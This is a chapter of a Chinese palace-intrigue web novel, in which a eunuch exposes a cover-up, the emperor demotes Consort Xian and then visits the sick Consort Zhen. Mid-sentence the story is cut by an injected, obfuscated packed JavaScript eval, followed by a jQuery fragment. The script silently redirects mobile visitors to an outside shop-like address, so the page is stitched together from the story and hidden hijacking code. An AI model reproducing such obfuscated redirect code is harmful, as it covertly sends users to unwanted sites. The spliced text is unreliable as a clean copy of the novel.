第一百二十五章褫夺妃位,降为贵嫔
贤妃眼中闪过一丝狠戾。
苏忠远这个御前太监有几分能耐,又爬得太快。她堂堂贤妃,几次接触示好,都没能收服他为自己所用。
既如此,这人也留不得了。
贤妃上前逼问,“你本就是靠着为贞妃说话,才入了皇上的眼。观你种种行径,莫非,你一开始就是贞妃的人?”
海贵人也追出来,“皇上,此等奸邪小人,岂配得上在御前伺候?皇上早早发落了他,以正宫规!”
要不分青红皂白,就处置了苏忠远。
顾辰枭目光愈沉,带着怒意,千斤寒铁一样压在他身上。
这太监若是江澜因的人,那只能说明……
江澜因从一开始,就在说谎。
今日,务必要处置了苏忠远。江澜因也不清白!
被皇帝威压牢牢禁锢在地上,一动都不敢动。更兼贤妃、海贵人两道阴冷的目光,也箭一般穿刺着苏忠远的身体。
苍白修长的手指撑在地上,下意识地抠紧。指甲缝隙一阵发疼。
苏忠远咬紧牙关:“皇上,奴才……确实是贞妃送进宫的。”
顾辰枭眸色愈沉。
好啊,真好。
江澜因,竟真往御前安插自己的人。她还没有何皇后那两分手段呢!她怎么敢?
怎么敢连自己这个皇帝也骗了去!
贤妃听太监承认,心中一喜。竟被自己误打误撞,给蒙对了?当真好运!
皇帝雷霆般开口:“说!”
苏忠远连连叩头:“奴才出身京郊宝安县。皇上可记得几年前,宝安县城发了大水,颗粒无收。奴才一家子,眼看着要饿死,是一位京中的恩人,匿名捐赠银两、吃食,救了奴才满县的性命。”
贤妃一愣,忙道:“你们侥幸得活,该叩谢天恩。怎么倒因此,被旁人收买了去?”
“收买?”
苏忠远一愣,“奴才当不起‘收买’这两个字。那年的大水冲塌了房屋,冲毁了田地,活下来的人无工可做,没有钱粮。又是那位恩人,想法子安排咱们营生。奴才运气好,是个天阉,就入了宫。”
“还是最近,奴才在翊坤宫见到恩人的信物,才知道恩人竟是当时还尚在闺中的贞妃。皇上若说奴才是贞妃的人,奴才这一条命,确是娘娘救的。”
这一番话,贤妃率先听出不对。她张了张口,还要再说。
皇帝:“你把她当恩人,可有为她,背叛过朕?”
“奴才岂敢?”
苏忠远磕头,“奴才若真被娘娘收买,就不会把娘娘病着的消息,帮着瞒到如今。”
“什么?瞒着什么?谁叫你瞒的?”
顾辰枭声音隐瞒着怒意。
贤妃下意识知道不对,想要开口。
苏忠远已磕头哭答道:“皇上,这几日翊坤宫来了多少下人请皇上,皇上一次两次不肯去,下面人慢慢不肯再通报。奴才原也不敢说这些话的,可想起贞妃对奴才到底有救命之恩,奴才心里煎熬不过……”
皇帝没兴趣知道一个太监心里如何痛苦纠结。
他拧眉,上前几步,“朕什么时候不肯去看贞妃了?”
苏忠远抬头,一脸疑惑,“品茗宴上,奴才没伺候在旁。可不是皇上不愿见贞妃,还叫侍卫赶走了翊坤宫的太监吗?”
怒气如海潮,一重重拍击着心岸。顾辰枭面色青白,额角砰砰直跳。
这几日的情景,如走马灯一般在眼前飞快闪过。
原来……
原来不是因因置气,不理睬他。
是被人拦住了!
定是……是那日他差下人,当众训斥江澜因,叫她在宫中失了颜面。众人以为她失宠,才敢这样一脚脚地踩她!
竟瞒得自己这个皇帝,一点儿不知道!
这其中,都有谁的手笔?只怕,少不了……
皇帝满腔的怒意,直接冲着身边的贤妃怒吼出来:“连朕身边的人都敢欺瞒至此!你这次品茗宴,倒是办得好!办得漂亮!”
贤妃:???
可她倒霉,撞在了枪口上,不敢辩驳。
皇帝:“贤妃乌氏有失。从即日起,降其为贤贵嫔,海贵人、黄贵人罚俸,永和宫阖宫上下,禁足!”
贤妃难以置信,她从入宫起就是妃。
皇帝竟如此羞辱她!
大滴大滴的泪水,在眼眶里打转。贤妃瘫软在地,眼睁睁地看着顾辰枭拂袖而去。
“小忠子,你还在愣着做什么?还不跟上来?”
得了皇帝的话,苏忠远从地上爬起来,深深看了贤妃一眼,赶了上去。
这次,谁也拦不住皇帝驾临翊坤宫。
不过几日没来,顾辰枭只觉如今的翊坤宫,处处凄凉。
连庭院中的金砖,金光都暗淡至极,映着月色,显出十分凋敝来。
一个瘦得麻杆似的太监要见到皇帝,正要进殿禀报。
“不必惊扰贞妃,朕自己进去。”
殿内,一灯如豆,照亮眼前。
只见江澜因一身浅藕荷色寝衣,身上压着一层薄被,满头的乌发都散着,斜依在窗边。
靠着幽暗的灯光,一针针绣着手中的什么。
她脸色苍白,不时轻咳几声。不过短短几日,整个人更瘦了,肩膀薄得纸片一般,随着咳声颤抖。
顾辰枭眸光一震。
“因因,朕来看你了。”
江澜因捻着银
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300171|197890||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
针的手指一顿,难以置信地抬头。她眨了眨眼,难以置信地低吟,“皇上?”
声音带着嘶哑,又掩住口轻咳。
一只小手囫囵地把手中的东西,塞在枕下。
“皇上,真的是您?您肯来看因因了……”
江澜因瞪大眼睛。顾辰枭眼睁睁看着她的眼眶,迅速地红成一片,却咬着嘴唇,死死忍着泪水。
脸上扯出一个笑来,“皇上不怪因因?”
见她只是咳嗽,知道是风寒。
不至于“不成了”。
顾辰枭一颗心放下,眸色淡淡的:
“你身上病着,朕自然要多宽纵你些。”
江澜因心中淡笑。
皇帝这样说,便是觉得,她不无辜。
那可不成。
顾辰枭的性子,江澜因也算是摸透了。
无论多小的事,只要皇帝认定是她的错处,哪怕当时放下,口中说着不在意,都过去了。
可往后再对景想起来,只会发作得更厉害。
自己在皇帝眼中,必须是后宫唯一纯白的茉莉/花,不能有一丝污点。
江澜因咳了几声,脸色苍白得几近透明。
“皇上既然还怪因因,想必不是心甘情愿来的。既如此,皇上还是走吧。”
顾辰枭拧眉。
他今夜折腾了三个宫室,累,而且很烦。
强耐着性子哄:“因因,你现在已经是妃了,性子怎么还不改?这么倔强,非黑即白,只会害了你!”
江澜因身子一颤,咳得更加厉害。
皇帝一边拍着她的背,一边道:“朕冷了你这些日子,就是要让你认清楚,错了就是错了!就算你再气,也不该不顾朕的口谕,掌掴一个绣娘!”
说的是绯儿。
江澜因知道皇帝心中,在意的还是金龙缺了的那条腿。
她心中冷笑,面上却委屈。
苍白的唇微微抿着,颤声道:“是,臣妾……知错了。”
看着女孩低垂的头和单薄的肩,顾辰枭只觉心口好似堵了棉花一般难受。
她没辩解,竟是认了。
可见就是她对那绯儿动了手!
皇帝:“如今,那个绯儿也是妃嫔了,你往后不可为难她。”
见江澜因不语。
皇帝又道:“朕刚才进来时,你在做什么?拿给、朕看看。”
江澜因猛地抬头,大眼睛中闪过一丝惊惶。
“没……没做什么,什么都没有。”
皇帝的手,在半空中一顿。
她刚才明明在做针线活……那四爪金龙……莫非,又是给太子的?
“拿出来。”
皇帝声音冷若寒铁。